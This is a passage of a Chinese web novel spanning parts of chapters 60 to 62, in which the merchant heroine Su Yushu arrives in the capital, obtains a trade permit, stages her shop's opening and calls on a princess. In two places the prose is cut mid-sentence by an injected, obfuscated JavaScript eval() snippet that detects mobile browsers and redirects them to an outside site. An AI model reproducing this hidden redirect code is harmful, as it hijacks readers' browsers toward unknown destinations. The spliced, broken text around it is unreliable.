熟悉的街景不断向后退去,最终模糊成一片虚影。苏玉淑撩起车帘的一角,望着远方灰蒙蒙的天际,她深知此去前路漫漫,必定不会一帆风顺。 纵使刀山剑海,她绝不退缩。 听着车轮声慢慢远去,墙角里的两个人才探出头来。 “林兄,这么巧。” “苏兄说笑了,你也是。” “不好意思,这是我家。” 林长亭的脸上少见地闪过一丝尴尬:“那你躲什么。” 苏玉鸿摸了摸自己的后脑勺:“她不让我送。不过你又躲什么?” “她也不让我送。” 两个人打着哈哈站在巷口的晨光里,一时竟有些手足无措。苏玉鸿搓了搓手,望着马车消失的方向,低声叹道:“这丫头,从小就犟得像头牛,认定的事八匹马都拉不回来。” “她应该走自己的路。”林长亭的目光从未离开那空荡荡的巷尾,“我会保护好她的。” 苏玉鸿转头看他,眼中带着几分探究:“这算是你的承诺吗?” “当然。”林长亭意味深长地一笑,“待我将私盐案的人证物证都整理好,我便回京城。” “我会求父亲把京城一带的商路交给我,我不会让她一个人孤军奋战的。” 两人目光交汇,心领神会地朝着相反方向迈步而去。这三人所处的战场虽各有千秋,却又相互交叠。在这充满了波谲云诡的局势里,唯有全力以赴奋力一搏,才能杀出一条生路。 众人坚韧的力量恰似条条支流,终将推动他们在命运的长河里汇聚,共同奔赴海晏河清,天下太平。 苏玉淑按照约定,在城西门楼下与王山见了面。师城距离京城骑马大约需要五天的路程。只是此次所携带的货物颇多,金匠和调香师傅中还有年事已高之人,故而行进速度比平时慢了不少。尽管走的是商路官道,但她还是特意带上了林长亭送给她的礼物—— 那柄匕首。 她仍清晰地记得,两人第一次闹别扭,是因为自己曾用刀指着他。当时她也不明白这人怎么这么大的脾气。如今回想起来,倒是有意思的很。 苏玉淑轻轻抚摸着锋利的刀身,她的眼神比刀刃的寒光还要冰冷。突然,她意识到一件事——对于林长亭,她似乎依旧知之甚少。 “到头来……还是什么都没问出来。” “小姐,你在嘀咕什么呢?”绿萝伸手摸了摸她的额头,“莫不是这几日累着了?” 她慌乱地挤出一丝笑容:“没有,就是念叨念叨账目。” 石竹小心翼翼地从她手中接过匕首,细心地放进木盒里:“小姐,你先休息一会儿吧,车里颠簸,就算是想着林大人,也别摸这么危险的东西。” “我!我哪有想他!”苏玉淑如同一只被踩到尾巴的猫,浑身猛地一颤,若不是有车顶挡着,只怕此刻人都要飞出去了。 绿萝和石竹相视一笑,两人脸上露出一副了然于心的神情。 “我哪有想他~~”绿萝学着苏玉淑的模样阴阳怪气地说道。 “你!我不理你们俩了!” 她气哄哄地别过头去,再不理两个人。 此行虽山高路远,但倒也顺遂无虞。 到达京城已是七日之后。 王山策马来到车厢旁,隔着帘子远远说道:“大小姐,用不了多远就到了,您先准备一下。我这就去城中客栈安排打点,您和师傅们慢慢赶路便是。” “有劳王大哥了。” 马蹄声渐渐远去,苏玉淑掀开轿帘,只觉这京郊的空气都要热上几分。路边树影斑驳,几枝枯叶将阳光筛成细碎的金点。 远处隐隐约约传来商贩的吆喝声,夹杂着车马辚辚的声响,还有迎来送往的小厮的招呼声。与师城相比,京郊的喧嚣更多了几分鲜活的烟火气,也多了一丝危险的味道。 人声逐渐鼎沸起来,绿萝凑到窗边,指着远处巍峨的城楼惊叹:“小姐您瞧,那便是京城的永定门!这可比咱们师城的城门气派多了!” 不同于他人的兴奋,苏玉淑心中充满了紧张。她自认自己是难得一见的商业天才,可要在这偌大的京城站稳脚跟绝非易事。她身上背负的不止是自己的未来,还有苏家全家的姓名和盈字号同僚的身家。 京城,多少人的向往之处,更是无数人折戟沉沙的修罗场。这里的每一寸土地都浸透着权力的博弈,每一阵风里都裹挟着无形的刀光剑影。苏玉淑放下车帘,闭上眼睛深吸一口气。再度睁开眼睛之时,一双黑亮的眸子里重新写满了野心。 好京城,好战场。 此间商衢,正为我纵横捭阖之疆域! “停车!” 车厢微微一晃,一行人抵达了城门下。京城的盘查要比其他地方严格许多,好在苏玉淑提前准备好了保人保书和行会证明,这才有惊无险地过了一关。 “放行!” 一阵颠簸过后,笼罩在马队上的城门阴影消失不见,取而代之的是万丈阳光—— 马车驶入京城,宽阔的街道上车水马龙,两旁商铺鳞次栉比,朱门粉墙间旌旗招展,叫卖声、讨价还价声、孩童嬉闹声交织在一起,汇成一股生机勃勃却又暗藏汹涌的洪流。 苏玉淑再也坐不住了,她干脆翻身上马,将这京城的初景尽收眼底。身着各式服饰的行人在她身旁摩肩接踵地走过,街边的商铺更是让人目不暇接。酒楼茶肆中飘出阵阵诱人的香气,几家店铺里展示的商品,甚至是她从未见过的。 她勒住缰绳,缓缓前行,这京城的繁华富庶远远超出了她的想象。原本以为自己身为首富之女,对世间珍奇已了如指掌,此刻才明白天外有天。 那些精致的琉璃器皿在阳光下流转着七彩的光晕,来自西域的地毯纹样繁复而瑰丽,还有她最熟悉不过的江南丝绸,色泽鲜亮得仿佛把整个春天都织了进去,质地远超师城所有。 她一边看,一边在心中默默盘算,玉海楼的产品虽有优势,但在这京城之中,想要脱颖而出还得另辟蹊径。若是仅有技术而缺乏巧思,莫说盈利,只怕连生存都成问题。 然而,若巧思过度……这京城表面看似风平浪静,可稍有不慎便可能得罪他人。 先拿到公凭,其他的仍需从长计议。 “你们先回客栈和王掌柜一起打点,我去一趟商税务,结束了立刻回来。” “小姐!小姐!您一个人……小姐!” 任凭绿萝把嗓子都喊破了,苏玉淑也没有回头,她只能眼睁睁地看着自家小姐的身影消失在人群之中。 石竹摇了摇头:“就知道叫不住她。咱们还是做好自己该做的事,安安心心地等她回来吧。” “可是这京城这么大……万一,万一出什么事……” “这可是天子脚下,龙脉所在,你怕什么?难道还能有人敢在这里打劫不成?”石竹浅笑一声,“你也不看看你家大小姐是什么人,她不惹出点事儿来就已经很不错了。” 京城的官府衙门分散于各处,依照林长亭事先的指引,这商税务位于城北的后市街,与户部衙门隔街相对。 商税务的朱漆大门前悬挂着一块黑底金字的匾额,大门两侧不像其他衙门那样立着两尊石狮,而是架着一个巨大的税务榜,上面贴满了税率、税则、京城受罚商户名单等公文。 这里虽肃穆威严,却也透着商贾的灵活气息。门前往来之人多是身着缎面长袍的商贾,个个神情恭敬,手中或捧着文册,或提着礼盒,显然都是前来办理各类商事手续的。 苏玉淑翻身下马,将缰绳递给路边茶馆的小二,特意多给了几枚铜钱,嘱咐其好生照看马匹。她整理了一下衣襟,把早已准备好的文书契约揣进袖中,深吸一口气,随着人流迈步走了进去。 前面排队办事的人不少,她趁机仔细打量了一番这京城的府衙。商税务是典型的官家建筑,青砖灰瓦,飞檐翘角,规整又不失气派。里面的匾额稍小些,可“京都府商税务”几个大字潇洒威严。 她踩在略有些湿润的石砖上,仿佛整个世界只剩下自己。直到周围的人声再次包围而上,她才第一次有了身处京城的实感。 “下一位——” 苏玉淑还沉浸在自己的思绪中,忽听得一声吆喝,她忙抬步向前走去。 柜台后坐着一位身着官服的差役,见她走近,便抬起头来,目光在她 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“钱大人,民女苏玉淑,方才差役大哥说,我这封信需得您亲自过目。”苏玉淑上前一步,恭敬地递上文书。 “什么东西要我亲自看……” 钱大人抬头瞟了她一眼,目光在信封上停留片刻,随即拆开细看。他的眉头渐渐皱起,脸色也变得凝重起来。 “哎呀,苏小姐!怠慢怠慢啊!”他突然站起身来,笑得胡子都跟着抖动,态度亲切异常,“原来是林大人的……呃……好友呀!您让人来一趟不就是了,怎么还亲自来取公凭呢!” 苏玉淑按捺下心中疑惑,硬着头皮点头道:“钱大人您客气了……” 钱大人亲自从案后绕出来,引着苏玉淑在旁边的椅子上坐下,又亲自斟了杯茶递到她手中: “苏小姐有所不知,这林大人在我们京城官场可是响当当的人物,他推荐的人,我们自然是要格外重视的。” 苏玉淑接过茶杯,心中却更加疑惑。林长亭一个被贬御史,怎么会如此大的势力?可眼下她也只能点头附和:“钱大人过誉了,林大人只是与我家有些交情罢了。” 钱大人摆了摆手,神情颇为神秘:“苏小姐不必谦虚,林大人向来眼高于顶,能与他有交情的,必定不是寻常人物。您这公凭,我这就给您办,保证让您满意。” 说着,他便回到案前,提笔在文书上飞快地写了起来。苏玉淑坐在一旁,心中五味杂陈。她本以为来到京城会是一场艰难的战斗,没想到却因为林长亭的一封信而得到了如此优待。 不多时,钱大人便将写好的公凭递到苏玉淑手中: “苏小姐,您的公凭已经办好了。有了这个,您开商铺也好,进行会也罢,都是一句话的事儿。您以后在京城有什么需要帮忙的,尽管来找我,我定然全力相助,不辜负林大人一片美意!” 苏玉淑接过公凭,心中一块大石头总算落了地:“多谢钱大人,您何须如此客气,若是有用得到小女的地方,您尽管吩咐。” “是是,能帮上您和林大人的忙是下官的荣幸……” “哪里哪里,钱大人是百姓的父母官,您实在是劳苦功高……” “是苏小姐慧心过人,您定能在京城一帆风顺……” “钱大人才是慧眼识珠,您肯定是官运亨通……” 两人不断推脱寒暄着从廨舍出来,苏玉淑不住地抱手鞠躬,脊椎都快要折断了。好不容易才得到片刻清净,她这才仔细端详起手中的公凭。 “京都府商税务”的朱印红得似血,在阳光之下微微泛光。“公凭”两个大字工工整整地写在最上方,下面还有钱大人的亲笔批注,让这张淡黄色的厚麻纸透着一股威严。 她既为事情如此顺利而感到庆幸,心中却又隐隐有些不是滋味。 自古以来,商人地位都十分低下。这些年,她更是没少看官府的脸色,没少遭遇克扣盘剥。林长亭身居高位,仅仅修书一封就能有这般成效,这是用多少银钱都换不来的。 她回头望去,官府还是刚才的官府,只是她的心境变了。 权乃利也,不争弗占。权乃主也,不取弗安? 她真切地品鉴到了权力的滋味,权力可真是个好东西,既然能帮到她,那她也可以将其握在手中去帮助他人。 或许这公凭来得不光彩,可不论如何,她苏玉淑只要结果。 这只是一个开始。 她要一步一步往上爬,直达繁星,直抵彼岸。 61. 第六十一章 早在樊城之时,苏玉淑便委托相熟的房牙前往京城挑选合适的商铺。如今她亲临现场,这店铺的位置果然与她的要求丝毫不差。 店铺坐落于清河坊的正中心,此地是京城达官显贵、高门世家的聚居之所,因而商铺的售卖价格比其他地方高出了三成不止。在得知有这样一块宝地后,她当机立断出手购入,就等着到京城后一手交钱,一手交货。 房牙领着她与王山进门查看,此处果然不负期望,宽敞明亮的店面足有五间之宽,门楣高耸,雕花窗棂精致至极,阳光透过窗棂洒入店内,想来更能凸显货物的闪亮昂贵。 后院更是别有一番天地,虽是仓库却也十分雅致,几株老梅傲立其中,虽是秋日,人却仿佛已然能闻到冬日里幽远的梅香。 “苏小姐,您瞧瞧这位置,这格局,简直就是为您量身打造的。”房牙满脸堆着笑,一边说着,一边引领着苏玉淑和王山在店内四处转转,“清河坊每日人流如织,尤其是上午时分,各家府上的下人出来采买,到了下午还有那些少爷小姐们从学堂偷溜出来玩耍,您的生意定会十分红火!” 苏玉淑轻轻点头,目光在店内扫视,心中已有了初步的规划。此处最大的优势是采光极佳,又背靠豪门,将来在一层的大堂摆上金器首饰,周围辅以各式花水增香添色,定能成为京城里人人向往的风雅之地。 “王大哥,你觉得怎么样?”她转头询问王山的意见。 王山摸了摸下巴,沉吟片刻后说道:“大小姐眼光独到,此处确实适合玉海亭。以我这些年的经验来看,是个做生意的好地方。不过……毕竟咱们初到京城,商品布置还是要谨慎盘算之后再做决定。” “毕竟来得仓促。”她点点头,“这房契我们要了,您选个好日子进行交易吧。” “是,是!那就祝苏小姐买卖兴旺,生意兴隆!” 三日后的清晨,玉海亭正式挂上了牌匾。 苏玉淑特意派人去买了炮仗,随着鞭炮声响彻天际,玉海亭开业的消息迅速传遍了大街小巷。她踩着满地的红纸碎片,在弥漫的烟尘中一边咳嗽,一边探出头来,大声喊道—— “剪彩!开门!” “好!好!” 浓烟消散后,师傅们喜笑颜开地进了门。那些围观的商户正打算进入玉海亭一探究竟,然而几个伙计却在众人面前毫不迟疑地关上了大门。 “哎!你们刚开门怎么就打烊了?” “就是!” “莫不是没东西可卖,第一天就要干不下去了吧!” 路人中顿时响起一阵接连不断的疑问声,有人随声附和,有人探着头往里面张望,脸上都挂着或兴奋或嘲讽的笑容。 苏玉淑摆了摆手说道:“各位客官,你们可有邀请函?” 众人面面相觑:“邀请函?是什么东西?” “你见过吗?” “你别瞅着我啊,我也没有!” “那你们可就进不了我这玉海亭了。”她略带遗憾地叹了口气,“诸位若想见识一番,请先去登记,静待邀请函送到府上,届时我恭迎各位大驾光临!” “还得登记……这是什么破地方,竟如此装腔作势……” “就是,这京城要什么有什么,哪轮得到他们这家如此嚣张!” “咳咳——” 正当众人议论纷纷之际,一道倩影突然现身于人群之中。一名侍女站在最前方,仅用一个凌厉的眼神,便让众人噤若寒蝉,不敢再发出丝毫声响。 “苏小姐,我家主子准时赴约,可您这儿……”她话锋陡然一转,不满之情溢于言表,“人可真不少啊。” “哎哟,您这说的哪里话。恭迎……”苏玉淑满脸堆笑,刚要接着往下说,脸色却突然一变。 “请,客官,您里面请!咱们进去再谈。” 只见人群自动分开一条路来,这位蒙着面纱的贵妇随着侍女缓缓走来。那贵妇身姿婀娜,虽看不清面容,但周身散发出的高贵气质却让人不敢直视。 “这玉海亭……我可是头一位的顾客?” 苏玉淑连连点头:“这个自然,由我亲自接待您,保证什么好东西都是您第一个挑!” 贵妇微微点头,在侍女的搀扶下迈进了玉海亭。随着大门再次关上,外面议论声更大了。 “这什么啊,这么神秘。” “管她呢,看这阵仗,估计是大有来头。” 几人的身影在门口消失不见,众人刚想再探头去瞧,王掌柜便忙不迭地扑了上来:“各位没有邀请函的就散了吧!别坏了这宫……别耽误功夫啊!赶紧都各忙各的去!” 说着,他拿起门栓就要赶人。 听到他话里的由头,众人相互交换了个眼色,又小声嘀咕起来: “他是不是说的宫里?难不成……” “还真是,要不是宫里的人,用得着这么大的阵仗?整个店都不营业了,只接待她一位?” “哎哟,那可真不好说。走走走,咱们去登个记,这可是个巴结权贵的好机会啊!” “走走走!” 众人一拥而上,纷纷朝着登记处涌去,那架势仿佛生怕晚一步就错失了天大的机遇。 “别挤!别挤!一个一个慢慢来!都能轮到,都能轮到!哎哟,我这桌子要翻了……” 外面的伙计被搅得手忙脚乱,店内倒是一片和谐。 “贵妇”摘下了面纱,轻盈一笑:“大小姐,你这个法子可真好!” 苏玉淑地看着簇拥过来的人群,对着华衣锦服的绿萝点了点头:“不使这么个办法,怎么能在京城站稳脚跟?这里处处都是劲敌,咱们当然要给他们来点不一样的!” “小姐,这法子能行吗?”绿箩依旧有些担忧,“万一被人发觉……” 她自信满满地叉着腰说道:“不会的。你看这些蜂拥而上的人,其中有几个我还挺面熟。排在第四个的是侯门赵家的家丁,第七个是刑部侍郎家小女儿的侍女,还有紧跟在后面,刚过来的那个……” 金匠师傅在敬佩之余又不免心生疑惑:“小姐,咱们到京城不过才几日,您是如何结识这么多人的?” 这一问不要紧,苏玉淑愈发得意起来。她兴奋地挑了挑眉,活泼又带着一丝精明:“你前几天还埋怨我不帮忙干活呢!其实我是躲在街角观察别家店铺,哪家受欢迎,哪位是贵客,一眼就能辨别出来。京中这么多高门大户,不拿捏好他们怎么行!” 苏玉淑简直有些得意忘形,她神气活现地叉着腰在玉海亭里来回踱步,活脱脱像个巡视领地的小猴子。 外面的人群越聚越多,一些不明就里的人生怕错过什么好处,吵吵嚷嚷地加入了队伍,其中不乏名门望族的家丁和侍女。这哪里是人,分明就是她的摇钱树。 看着一沓一沓摞起来的名帖,苏玉淑赶忙拍了拍自己的脸颊,转过身大声喊道:“师傅们,都忙起来!咱们的金簪还得再开发几款,茉莉三道露也需要细化配方,大家好好干,正式开业的时候,我给大家发赏钱!” “好!” “谢谢大小姐!” 众人齐声应和,原本还带着几分疑虑的师傅们此刻也来了精神,纷纷撸起袖子投入到忙碌的制中。金器碰撞叮当作响之声不绝于耳,香料的味道也随着沸腾的蒸汽蔓延开来。 石竹适时地在风口处把窗户开了个小缝,那股清润的花香霎时间笼罩了整条清河坊,人群之中又爆发出一阵小小的惊叹。 苏玉淑看着大家干劲十足的样子,心中满是欣慰。可玉海亭想要在京城站稳脚跟,不光要靠这些小手段,还得靠货物的品质和匠心独具的设计。 她走到金匠师傅身边,仔细地看着他手中的金簪雏形,不时提出一些自己的建议:“师傅,这金簪的花纹可以再精致一些,把毛边再搓一搓。咱们玉海亭的第一批货,一定要做到尽善尽美。” 金匠师傅点点头,认真地说道:“大小姐放心,我一定把这金簪打造成京城独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689838|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一无二的宝贝。” “您是我盈字号做得最久的师傅,您的手艺就算在京城,那也绝对是独一份儿的,我相信您。” 她笑得真诚,匠人们做得舒心。 苏玉淑向来不喜欢凭借权势施压,强迫师傅们为她做事。人活在世上,无非就是为了面子和一口气,只有把人当人看,别人才能安安稳稳地干活。尽管盈字号的工钱并非最高,但她明白“尊重”二字该如何书写,也清楚人内心最渴望的是什么。 同样,她若想在这世道之下昂首挺胸,也唯有靠自己拼搏闯荡,而非依赖林长亭的施舍。 正在苏玉淑巡视之际,王山突然从偏门溜了进来。他手中拿着一张街边分发的通告,急匆匆地递到她手里:“大小姐,您瞧瞧这个。” “嗯?”苏玉淑疑惑地接过,紧接着目光便亮了起来,“加试?” “正是。街上的官吏正在发放,说是圣上开恩,今年秋闱增设加试,让学子们莫要错失这等良机,抓紧备考,争取金榜题名呢。” 苏玉淑心中一动,这秋闱加试,对于那些寒门学子而言,无疑是改变命运的绝佳契机。而对她来说,或许也是一个绝佳的机会。 她思索片刻,立刻拍手唤住众人:“王大哥,你派人前往那些寒门学子聚集之处,就说咱们玉海亭可以出资赞助一些文房用具,也算为学子们尽一份心意。还有师傅们,咱们能否制作一款单股簪,在上面用金银简单錾刻一朵桂花,取一个‘蟾宫折桂’的好兆头,如何?” 王山点头称是:“大小姐此举甚好,既能博个好名声,又能结识些有才之士。我这就去安排。” 匠人之首的张师傅并未急于应允,而是转身向后院走去。 苏玉淑并不着急,她深知师傅的脾性。 不出半刻钟,张师傅双手捧着一个盒子折返回来。他自信满满地点点头,语气中洋溢着笃定:“我在仓库里找了些成品檀木单股簪,我们只需做好桂花,再镶嵌到簪子上便可。工艺简便,流程并不复杂,以我们的手艺,明日就能做出一批。” “太好了!”苏玉淑拉过绿萝,往她手里塞了一枚碎银,“咱们这条街一直向东,最前面有一家酒楼,你去和他们说,烦请送些酒菜过来,都要最好的!” 玉海亭开业首日便在京城激起了不小的涟漪。人群逐渐散去后,苏玉淑手持刚刚拿到的名帖,仔细地研究起来。 这京城果然是藏龙卧虎之地,名帖之中,不仅有富商望族,更不乏达官显贵。这可真是得来全不费功夫。只是秋闱临近,她也必须精打细算。虽说母亲和哥哥都给予了不少接济,但她也不能肆意挥霍。 借助新店刚开业的绝佳时机一炮而红,才是上上之策。 她首先依照门户将名帖细致分类,接着按照家中基业实力进行排序。其中有几份尤为特殊的名帖,王山已为她精心做好注脚。 “县主……魏王家眷……” 苏玉淑的眼神一亮,这不是皇亲国戚吗?要想洗脱苏家的罪名,不光是要把玉海亭做大做强,更是要把这生意做到该做的地方去。 她马上招来人吩咐道:“去把咱们之前准备的最好的首饰包好,用最好的漆盒,就是上面贴满贝母的那个!” 如此良机摆在眼前,岂有不放手一搏的道理?这种皇亲国戚定然眼高于顶,虽说拿到了名帖,可若是想要深交只怕手中筹码还远远不够。 苏玉淑微微蹙起眉头,思索片刻后,眼中闪过一抹独有的狡黠:“绿萝,你去帮我打听一下,这位县主是否婚配,有什么特别的爱好。另外,这魏王有几位妻妾,年龄几何。” “小姐……你要做什么呀……” 对于她这略带阴险的表情,绿萝早已习以为常。她家小姐只要摆出这副神情,必定是要出奇招,只是…… 每次的主意,都有点儿馊。 苏玉淑轻快地打了个响指,笑容里满是勃勃野心:“知己知彼,方能百战不殆。这京城的生意,我做定了!” 62. 第六十二章 翌日午后。 苏玉淑携着精心准备的礼品,登上了县主府的大门。 这县主府气派非凡,与普通的高门大户迥异,此处可是名副其实的皇族府邸。一座规整的广梁大门矗立在高墙之间,青瓦朱柱,庄严肃穆。门首高悬着御赐金匾,“怀谦府”三字端方严整。 厚重的柏木门扇上,七纵七列共四十九颗鎏金铜钉在赭红漆面的映衬下熠熠生辉。门前的汉白玉门枕石上雕刻着松鹤纹样,与御笔题写的匾额相得益彰,为这显赫门庭增添了几分需时刻自省的文雅与孤傲。持刀守卫静静地伫立着,四周一片寂静,唯有那与皇室紧密相连的威仪,在静谧中悄然弥漫。 “来者何人?” 她不卑不亢地呈上名帖,说道:“我乃京中商号玉海亭的当家苏玉淑,今日特来拜会怀谦县主。” 守卫上下打量了她两眼,道:“在一旁候着,等门房去通报。” 苏玉淑微微点头,安静地退到一旁等候。 不多时,一个小厮匆匆赶回:“是苏掌柜吗?我家县主有请,请您随我来吧。” “多谢。” 她整理了一下衣衫,带着绿萝刚要踏入县主府,守卫却挡住去路厉声喝道:“不行!东西要检查!” 小厮见状刚要阻拦,可两名守卫身材高大,又横刀相向,他只与守卫对视了一眼,便欲言又止,安静了下来。 “无妨,县主的安全至关重要。我们初次拜访,确实应当谨慎行事。只是这礼品十分贵重,能否由我来为您打开?毕竟若有损坏,我们谁都承担不起。” 她言辞极为漂亮,既给双方都留了台阶,又不失尊严与风骨。苏玉淑抬头直视守卫的目光,双眸之中毫无惧意,接着将手中礼盒又抬高了些许,再次问道:“可否由我打开?” 苏玉淑行事光明磊落,守卫也不便再刁难她,只是不耐烦地摆了摆手:“那你打开吧。” 她轻轻取出礼盒,墨蓝色的丝绒方巾在阳光下闪烁着温润的光泽。 “绿萝,把东西都拿稳。这是送给县主的礼品,丝毫不能懈怠。” “是。” 绿萝垂下眼眸,动作轻柔而恭敬。两个外人尚且如此,相比之下,守卫更显得不懂礼数。 “罢了罢了,你只让我看看盒子就行。” 他嘴上说着检查,动作却好似在寻找什么东西,对着漆盒敲了敲,又掀开底下的绒布瞧了瞧。 “行了,走吧。” 小厮好像得了大赦似的,忙不迭迎上来:“苏掌柜,您随我来。” 府内景色雅致,亭台楼阁错落有致,花草树木修剪得恰到好处。一路穿过几道回廊,来到一处花厅前。 “苏小姐,请在此稍候。”门房通报后,便退了下去。 苏玉淑环顾四周,只见这花厅布置得十分精巧。墙上悬挂着几幅字画,均出自当朝名家之手。案几上摆放的瓷器,一看便知来自官窑,其釉面油润,颜色古朴大方。即便苏玉淑出身富庶之家,也从未见过如此珍品。 见四下无人,绿萝小心翼翼地凑到她耳边,轻声问道:“小姐,你有没有觉得有些怪怪的?” “有话回去再说。”苏玉淑轻声叮嘱,“此处眼线众多,切莫失了分寸。” 绿萝慌忙闭上嘴巴,想起了大小姐一早的嘱咐: “京城乃卧虎藏龙之地,一言一行都需格外小心。如今我们背负着全家的声名,切不可轻举妄动。” 虽是早秋时节,县主府上却早早用上了炭。一股淡淡的香气随着暖意弥漫在花厅内,让人闻着心里暖融融的,仿佛置身于秋日艳阳之下。两人正默默相对时,一阵轻缓的脚步声从走廊传来,她们不敢怠慢,赶忙起身,在一旁等候。 一位女子款步走进花厅,她面容姣好,眉眼间自带一股高贵气质,穿着却清丽雅致,毫无奢华之感。头上佩戴的珠翠也简洁大方,随着她的步伐碰撞出清脆声响。 苏玉淑盈盈一拜:“民女苏玉淑,见过怀谦县主。” 怀谦县主轻轻抬手,示意她起身:“苏掌柜好眼力,我还未说什么,也无下人通传,你怎知我是县主呢?” “回县主的话,民女……猜的。” “猜的?” “没错。虽说您未曾表明身份,但见您风度翩翩、气质不凡,毫无半点儿市井气息。况且您身上这件襟子,颜色虽素雅,样式也并不特殊,可细看这针脚便知是出自织锦院的宋锦。”她挺直身躯,爽朗地笑道,“宋锦向来仅供皇室贵族使用,所以民女斗胆猜测,您必定是怀谦县主。” 怀谦县主眼中闪过一丝赞许,嘴角微微上扬:“苏掌柜不仅心思缜密、观察细致,为人还爽快洒脱,我很是喜欢。我的侍女昨日听闻了你在京城的一些作为,觉得十分有趣,便留下了名帖,没想到你竟来得这般迅速。” 苏玉淑依旧恭敬地笑着回应:“怀谦县主身份尊贵,在京城又好名声,这登门拜访的机会,我自然是求之不得。” “苏掌柜,我知道昨日开业……你的玉海亭里没有人。” 一旁的侍女走上前来斟茶,怀谦县主缓缓捧起案几上的茶杯,轻轻抿了一口,脸上依旧风平浪静,不见半分波澜。 “县主果真聪慧过人。这点小把戏,还望县主莫怪。”她心中一惊,实在琢磨不透县主这番话究竟是何用意,只能强装出一副洒脱的姿态。不知为何,她总感觉这位县主并非表面上那般随和。 她看不透她。 “我怎会怪你呢。京中许久未曾有如此有趣之人到访了,我不过随口问问罢了,你不必紧张。” “多谢县主。” “你不必这么拘谨。”县主突然倾斜了上身,离她更近了几分。二人的距离霎时缩短,苏玉淑一时僵住了。 她甚至能看清县主翕动的睫毛和浅笑着的眼底,“很久没有人进来陪我说过话了。” 她把落寞藏进自己的低语,用云淡风轻来粉饰太平。 苏玉淑敏锐地察觉到了。 “想来县主是个谨言之人,我就不行了,我是个话多的。”苏玉淑不好意思地笑笑,随即呈上礼盒,“此次来得匆忙,为县主备上了一份薄礼,还请您过目。若是您喜欢,我以后会经常来叨扰的!” 她笑得真诚,怀谦县主也不好拒绝。 县主接过礼盒,数道虹光便落入她的眼中。盒子上所嵌的贝母皆采用师城沿海最好的贝壳,每一片都经过精心打磨,在光线的折射下散发出五彩斑斓的光泽。 她轻轻打开礼盒,里面静静躺着一支精美的金簪,簪头的桂花錾刻得栩栩如生,上面的宝石更是点睛之笔。金叶流苏微微颤抖着,仿佛将那股桂花香轻轻扇进了人的心底。 “这簪子……真是精致。”怀谦县主眼中闪过一丝惊喜,她拿起金簪,细细端详着,“这玉海亭的手艺,真是让人叹为观止。” “县主过奖了。”苏玉淑摆摆手,“这簪子是我们玉海亭特意为县主打造的,取‘桂折一枝’之意。” “桂折一枝……”怀谦县主的眼神突然暗淡几分,她若有所思地笑了笑,“苏掌柜可是不知道这桂折一枝的意思?这个词……不是用来形容及第登科的吗?” “正是。可女子不能科考,但女子胸中沟壑,又何曾逊于男儿?还请县主恕罪,我于京城之中听闻了您的美名,知道您是一个有风骨,有谋略的女子,因而希望您能有朝一日能够在自己的天地桂折一枝,乘风而上。” 苏玉淑语气恳切,目光中满是真诚,“在我心中,女子恰似那枝头桂花,虽不像松柏那般傲然挺立,也不如兰竹那般孤傲不羁。无论是制香、饮食,还是制药,哪一样能离得开桂花呢?正如这世间女子,看似操持着平凡琐事,然‘桂子月中落,天香云外飘’,女子之美好,又怎会逊色于他人呢?” 怀谦县主微微一怔,并未言语。她摩挲着茶杯,眼眸之中是她读不懂的孤独。 苏玉淑赶忙俯下身去:“民女逾矩了,还望县主恕罪。” “你有何罪?”县主迟疑片刻,伸手将她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694815|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶起。她这才认真打量起面前这个年纪尚轻却野心勃勃的女孩子,她嘴上说着“恕罪”,可眼中却没有半分愧疚之色。 她果真中意她。 “初次与县主相见便长篇大论,实是玉淑之过,是玉淑在卖弄了。” “原来你叫苏玉淑。那么……倘若我不报上家门,便是我失礼了。” 苏玉淑听闻此言,猛地抬起头来,双手摇得像两把蒲扇:“不不不,您是……” “怎么?难道县主就没有名字吗?”她略带轻佻地瞥了苏玉淑一眼,吓得对方立刻低下了头。 “昔日我还在学塾时,也有诸多闺中密友。那时我还不是怀谦县主,大家都唤我名字,茵茹。”她轻敲了下面前的茶杯,“不是说过,别这么拘谨吗?” 茵茹。 真是个好听的名字。 苏玉淑轻声重复:“茵茹,茵茹县主……” “是茵茹,没有县主。” “茵,茵茹。” 怀谦县主,或是说茵茹,嘴角勾起一抹淡淡的笑意,似乎对苏玉淑的称呼颇为满意。 “你很好,不像那些个俗人,只知一味奉承,或一味糟践。” “茵茹是个好名字。”苏玉淑真诚地回应,“我虽不通八字命理,但茵茹听起来满是生机勃勃之感,您的爹娘定是期望您能如茵茵绿草一般,茁壮成长。” 茵茹只是向后意瞥,一个眼生侍女便心领神会。她行礼后走出花厅,死死合上了房门。 “既然你叫了我的名字,我权当认下了你这个朋友。苏小姐,我承认你的确很和我心意,可这京城之中,并不是靠着一腔子真情就能活下去的。” 刚才茵茹眼中的和婉消失不见,锋利的审视取而代之,她的目光几乎要穿透苏玉淑的灵魂,“你的礼,我很喜欢。既然我收下了,那么苏小姐也不妨有话直说。你……需要我做些什么?” 有意思。 实在是太有意思了。 苏玉淑感受到了一种前所未有的畅快,这既不同于与杜蕊琴的斡旋,也不同于和杜蕊华的对峙,更不是在牢狱之中单方面的欺虐。 她嗅到了一种气息,一种属于同类之间势均力敌的气息。 她缓缓放松身体,向后靠进太师椅中。她收起那副恭顺的神情,换上了平日里那副运筹帷幄的模样:“我想请您戴上这簪子,在京中贵女面前露个面。” “就这事?” “就这事。” 